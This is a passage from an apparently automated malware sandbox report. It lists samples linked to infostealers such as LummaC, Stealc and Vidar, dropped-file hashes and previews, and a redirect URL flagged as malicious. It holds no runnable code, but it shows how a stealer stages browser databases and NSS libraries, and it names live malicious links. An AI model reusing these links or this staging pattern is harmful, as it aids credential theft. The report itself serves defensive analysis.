	https://www.bing.com/ck/a?!&&p=24da94b1cbc4e30be5abd9acb5737b3bdb775a56c39aac0141dd9c17c937dea1JmltdHM9MTczMzI3MDQwMA&ptn=3&ver=2&hsh=4&fclid=1bf8b81c-3b95-652f-24ec-ad573a81643b&u=a1aHR0cHM6Ly93d3cueXV4aW5na2V0YW5nLmNvbS9jb2xsZWN0aW9ucy90aHJvdy1ibGFua2V0cw#aHR0cHM6Ly9Uby5lZW1qaGl1bHoucnUvek83UkZORy8=	Get hash	malicious	Unknown	Browse	104.16.123.96
	https://www.bing.com/ck/a?!&&p=24da94b1cbc4e30be5abd9acb5737b3bdb775a56c39aac0141dd9c17c937dea1JmltdHM9MTczMzI3MDQwMA&ptn=3&ver=2&hsh=4&fclid=1bf8b81c-3b95-652f-24ec-ad573a81643b&u=a1aHR0cHM6Ly93d3cueXV4aW5na2V0YW5nLmNvbS9jb2xsZWN0aW9ucy90aHJvdy1ibGFua2V0cw#aHR0cHM6Ly9Uby5lZW1qaGl1bHoucnUvek83UkZORy8=	Get hash	malicious	Unknown	Browse	104.17.25.14
	doc55334.html	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	469oyXQbRY.exe	Get hash	malicious	LummaC	Browse	172.67.209.202 172.67.179.109 172.67.180.113
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, PureLog Stealer, RHADAMANTHYS	Browse	172.67.209.202 172.67.179.109 172.67.180.113
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	172.67.209.202 172.67.179.109 172.67.180.113
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, PureLog Stealer, Stealc	Browse	172.67.209.202 172.67.179.109 172.67.180.113
	https://d2kjcgrb1q4xt7.cloudfront.net/mULiCoBDj2Ug.exe	Get hash	malicious	Unknown	Browse	172.67.209.202 172.67.179.109 172.67.180.113
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Xmrig	Browse	172.67.209.202 172.67.179.109 172.67.180.113
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse	172.67.209.202 172.67.179.109 172.67.180.113
	rK0CtrtVrl.exe	Get hash	malicious	LummaC, Stealc	Browse	172.67.209.202 172.67.179.109 172.67.180.113
	NHEXQatKdE.exe	Get hash	malicious	LummaC	Browse	172.67.209.202 172.67.179.109 172.67.180.113
	CefJcYwgWs.exe	Get hash	malicious	LummaC, Stealc	Browse	172.67.209.202 172.67.179.109 172.67.180.113

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	ZXVcgrmGRM.exe	Get hash	malicious	Stealc, Vidar	Browse
	D2Cw8gWOXj.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	random.exe.7.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RHADAMANTHYS, Stealc, Vidar	Browse
	random.exe.6.exe	Get hash	malicious	LummaC, Python Stealer, Amadey, LummaC Stealer, Monster Stealer, Stealc, Vidar	Browse
	stealc_default2.exe	Get hash	malicious	Stealc, Vidar	Browse
	V65xPrgEHH.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LiteHTTP Bot, LummaC Stealer, Stealc, Xmrig	Browse
	6aTAU3Dzp6.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, DCRat, LummaC Stealer, PureLog Stealer	Browse

Created / dropped Files

C:\ProgramData\CBKJEGCB

Download File

Process:	C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FIECFBAAAFHIIDGCGCBF

Download File

Process:	C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	dropped
Size (bytes):	9571
Entropy (8bit):	5.536643647658967
Encrypted:	false
SSDEEP:	192:qnaRt+YbBp6ihj4qyaaX86KKkfGNBw8DJSl:yegqumcwQ0
MD5:	5D8E5D85E880FB2D153275FCBE9DA6E5
SHA1:	72332A8A92B77A8B1E3AA00893D73FC2704B0D13
SHA-256:	50490DC0D0A953FA7D5E06105FE9676CDB9B49C399688068541B19DD911B90F9
SHA-512:	57441B4CCBA58F557E08AAA0918D1F9AC36D0AF6F6EB3D3C561DA7953ED156E89857FFB829305F65D220AE1075BC825F131D732B589B5844C82CA90B53AAF4EE
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696333830);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696333856);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\GDAAKFIDGIEGDGDHIDAKKFIIID

Download File

Process:	C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IDBGHDGHCGHCAAKFIIECFHCFBF

Download File

Process:	C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.037963276276857943
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWZWdgokBQNba9D3DO/JxW/QHI:58r54w0VW3xWZWdOBQFal3dQ
MD5:	C0FDF21AE11A6D1FA1201D502614B622
SHA1:	11724034A1CC915B061316A96E79E9DA6A00ADE8
SHA-256:	FD4EB46C81D27A9B3669C0D249DF5CE2B49E5F37B42F917CA38AB8831121ADAC
SHA-512:	A6147C196B033725018C7F28C1E75E20C2113A0C6D8172F5EABCB8FF334EA6CE10B758FFD1D22D50B4DB5A0A21BCC15294AC44E94D973F7A3EB9F8558F31769B
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JDBFIIEB

Download File

Process:	C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JDBFIIEBGCAKKEBFBAAF

Download File

Process:	C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KEHDHIDAEHCFHJJJJECA

Download File

Process:	C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: ZXVcgrmGRM.exe, Detection: malicious, Browse Filename: D2Cw8gWOXj.exe, Detection: malicious, Browse Filename: random.exe.7.exe, Detection: malicious, Browse Filename: random.exe.6.exe, Detection: malicious, Browse Filename: stealc_default2.exe, Detection: malicious, Browse Filename: V65xPrgEHH.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: 6aTAU3Dzp6.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\I8WIG9OBFWN5NKZK2DW5QG7.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\I8WIG9OBFWN5NKZK2DW5QG7.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1885696
Entropy (8bit):	7.9502129539309525
Encrypted:	false
SSDEEP:	49152:xygWjRQ3HLL/piTRSyEvGqpGl3Ao1cVPeb3ymHw2NG:ggrHpi8yhqclT1vtN
MD5:	25FB9C54265BBACC7A055174479F0B70
SHA1:	4AF069A2EC874703A7E29023D23A1ADA491B584E
SHA-256:	552F8BE2C6B2208A89C728F68488930C661B3A06C35A20D133EF7D3C63A86B9C
SHA-512:	7DFD9E0F3FA2D68A6CE8C952E3B755559DB73BB7A06C95AD6ED8AC16DEDB49BE8B8337AFC07C9C682F0C4BE9DB291A551286353E2E2B624223487DC1C8B54668
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 53%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....<_g..............................J...........@...........................J.....%-....@.................................T0..h.... .......................1...................................................................................... . .........H..................@....rsrc........ .......X..............@....idata .....0.......Z..............@... ..*..@.......\..............@...uzxdwyvi.P... 0..B...^..............@...efzdldig.....pJ.....................@....taggant.0....J.."..................@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\mozglue[1].dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\msvcp140[1].dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\nss3[1].dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
